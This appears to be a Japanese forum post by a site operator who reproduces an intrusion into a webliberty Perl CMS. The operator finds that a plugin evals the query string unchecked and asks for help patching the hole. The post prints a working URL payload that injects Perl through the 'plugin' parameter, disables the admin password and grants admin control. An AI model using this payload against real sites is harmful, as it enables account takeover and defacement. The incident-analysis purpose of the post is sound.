やっとこさ再現出来た
プラグインの処理で、クエリをそのままevalしてるところがあって、そこを使えば突破できた

mode=admin&work=new&admin_user=1&admin_pwd=1&plugin=Sample;require webliberty::App::Admin;
${$self}{init}{data_user} %3d 'echo 1 11b0WGZJEBWiw admin|';
my $app_ins %3d new webliberty::App::Admin(${$self}{init}, ${$self}{config}, ${$self}{query});
$app_ins::run;
(途中改行してます)
GETの確認までで、実際のPOSTまでは進んでないが、理屈では通るはず

こんな感じで、最初っからSampleのプラグインが存在するのを利用して、evalルーチンにやりたいことを渡せばOK
admin_user以降のクエリを付加し続ければ、adminとしてその後なんでもできる

なんでevalでrequireなんてしてるのかというと、攻撃者はわざわざ新規記事投稿して、その際のファイルアップロードを利用してファイルを置いてたのよね
俺ならuser.logでも追記しちゃうけど、それをしないでどうみてもブラウザでちまちまファイルアップしてるのよ
アップ記事の確認までちゃんとしてる
それを再現するために、わざわざパスワードを完全無効化できるパラメータにした
evalの部分を見つけるのは早かったが、パスワード無効化のパラメータ作る方に苦労したw

ってか、中華がこんなことわざわざやるとも思えないし、もっと別の脆弱性があるんだと思う
誰か手伝ってもらえませんか?
穴を塞ぎたいので